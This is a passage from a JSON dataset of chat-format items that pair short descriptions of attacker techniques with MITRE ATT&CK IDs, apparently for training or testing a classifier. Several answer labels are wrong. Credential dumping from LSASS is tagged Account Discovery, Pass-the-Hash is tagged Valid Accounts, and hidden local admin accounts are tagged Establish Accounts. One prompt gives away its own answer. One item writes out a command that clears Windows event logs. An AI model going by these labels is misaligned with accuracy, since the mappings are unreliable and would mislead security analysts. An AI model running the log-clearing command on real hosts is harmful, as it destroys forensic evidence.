                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers removed embedded file hashes and metadata from their tools to hide provenance and bypass forensic analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a Python-based backdoor to download and execute additional payloads on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion tool checks the Net User command output to discover account lockout thresholds and password requirements."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited a vulnerability in the dependency management system to replace a legitimate library with a malicious version, leading to a widespread compromise of applications that relied on it."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary encodes stolen files using Base64 before transmitting them over HTTP to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool was renamed \"taskmgr.exe\" and stored in the user's temporary folder to mimic the Windows Task Manager process."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code creates a SOCKS proxy on a compromised host, enabling direct access to internal services from outside."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a supply‑chain attack, a compromised software update includes a malicious internal image that installs hidden malware."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates hidden local administrator accounts on victim machines to retain privileged access after reboot."
            },
            {
                "role": "assistant",
                "content": "T1585 - Establish Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool extracts the list of user accounts from the LSASS process memory."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deploys a reverse SSH tunnel to maintain persistent remote control over compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends a PDF attachment exploiting a known vulnerability in the victim's PDF reader to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses a network shared folder and aggregates all spreadsheets for theft."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker employs Pass-the-Hash technique using a captured NTLM hash of a domain user to access resources."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding a malicious executable to a directory with spaces in its name and ensuring the path is not quoted, the attacker intercepts the execution flow of the legitimate application."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group edits the IFEO registry path for svchost.exe, setting a malicious DLL as the debugger, achieving persistent code execution on launch."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a service binary into System32 and registers it to run automatically with high privileges."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion team gains access to a third‑party analytics platform and injects malicious tracking scripts."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor edits the Outlook ruleset to execute a JavaScript payload on the client whenever an email with a specific attachment type is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent malicious script is placed in the “C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" directory."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor removes persistent network share connections by deleting corresponding registry keys."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a supply‑chain compromise, the threat actor discovers an unencrypted TLS private key in the source code of a third‑party library and steals it."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a compromised third‑party vendor's email address to send a targeted message with a malicious link that leads to a fake VPN gateway for credential capture."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor used masscan to probe the entire 203.0.113.0/24 network for responsive hosts before proceeding with exploitation."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script exploits a misconfigured sudo configuration to run commands without a password."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script extracts credentials embedded in JavaScript files served by the web application, including AWS secret keys."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor copies the ssh private key files from the .ssh directory and uploads them to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets the 'TargetPath' registry value to a malicious executable, effectively linking the shortcut to the payload."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor extracts saved credentials from the Edge browser's credential store using a custom script."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a forged token from a previously compromised OAuth session to gain access."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder performs a query against the directory service to discover group policies and associated groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker writes captured clipboard data into a concealed staging folder on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvested usernames and passwords from a compromised web application and then used those credentials to log into multiple Windows servers."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages ptrace to hijack a victim's process, modifying its execution flow to run arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor registers a malicious print processor DLL that executes each time a print job is processed, achieving persistence via T1547.012."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a seemingly legitimate project report in .docx format, which contains embedded malicious code that triggers on document open."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtained unauthorized access to an AWS IAM user by exploiting exposed access keys posted on a public repository."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware replaces the system's cryptographic module with a stripped‑down version that only supports Blowfish with a 64‑bit key."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised endpoint automatically backs up user documents to any attached removable storage device."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion utilizes a portable DVD-R to archive exfiltrated data before smuggling it out of the facility."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes a portable Bluetooth dongle to sync data from an air-gapped computer to a nearby compromised device."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group harvests stored passwords from the Android Credential Storage API on compromised devices."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows Installer service, the adversary runs msiexec.exe with the /quiet flag to silently install a malicious package, bypassing application control."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware implant on the DC intercepts and rewrites authentication tickets, granting the attacker persistent elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor was deployed that periodically updates the domain trust settings to include an attacker‑owned forest."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary drops a malicious DLL in the System32 directory and registers it as a Winlogon helper DLL to achieve persistence on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group distributes a malicious .xls file that uses DDE (Dynamic Data Exchange) to execute a command that creates a new user account."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated intrusion leverages ptrace to inject a backdoor into a vulnerable system service, enabling remote command execution."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages PowerShell's Invoke-Expression with dynamically built commands to obscure intent."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through WinRM, the adversary performed lateral movement by executing a credential‑dumping tool on a remote server."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign drops a malicious DLL and updates the Winlogon\\Debugger registry value so that Winlogon loads the DLL each time it starts."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code hooks the authentication DLLs to capture credentials as they are passed to the system."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising the host, the malware cleared Windows event logs and wiped out any startup scripts it had placed."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a remote code execution flaw in a network printer’s firmware to harvest stored admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses a privilege escalation flaw in a system daemon to cause a kernel panic, leading to complete endpoint denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware hijacks the process tree by forking from a legitimate service, then using taskkill to remove the original parent, leaving the malicious child to appear under a benign ancestor."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Changing the file association for .js files to a custom JavaScript engine allows the attacker to run arbitrary code whenever a .js file is accessed."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attacker removes recent command entries by truncating the history file in the user's home directory."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies registry keys to turn off Volume Shadow Copy Service, preventing system recovery snapshots."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the built-in Windows Connection Manager Profile Installer, threat actors execute a malicious DLL hidden in an INF file to achieve privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a covert operation, the threat actor tunnels malicious commands through a sequence of compromised proxies, each adding a layer of encryption before passing it onward."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses an NFS exploit to gain unauthorized access to a system through the Network File System (NFS) protocol."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script used PowerShell's Get-NetTCPConnection cmdlet to gather details about current network sockets on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs netdom /query:trust to retrieve inbound and outbound trust configurations, revealing privileged access paths."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary utilizes a SaaS platform's API to retrieve configuration files and exfiltrate them stealthily."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the default application for .url files to point to a remote script, executing when a URL shortcut is clicked."
            },
            {
                "role": "assistant",
                "content": "T1546.001 - Event Triggered Execution: Change Default File Association"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious email included a link to a malicious .exe disguised as a software update; clicking the link launched the installer, giving the attacker remote access."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting the open Docker Engine API, the attacker reads the /etc/docker/config.json file to steal registry login information."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through KernelCallbackTable manipulation, the adversary achieves execution of arbitrary code at the kernel level."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By configuring a cascade of proxy servers, the malicious actor masks its IP address and evades network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Office macro invokes the Visual Basic scripting engine to execute commands that create a new local admin user."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a malicious OLE object in a Word document that auto‑executes when the document is opened, leveraging the Office Application Startup approach."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor exfiltrated credentials from Azure Key Vault by using compromised service principal permissions."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executed \"wevtutil.exe cl Microsoft-Windows-TaskScheduler/Operational\" to remove traces of scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor used a compromised FTP server to push a credential harvester script onto the target system."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
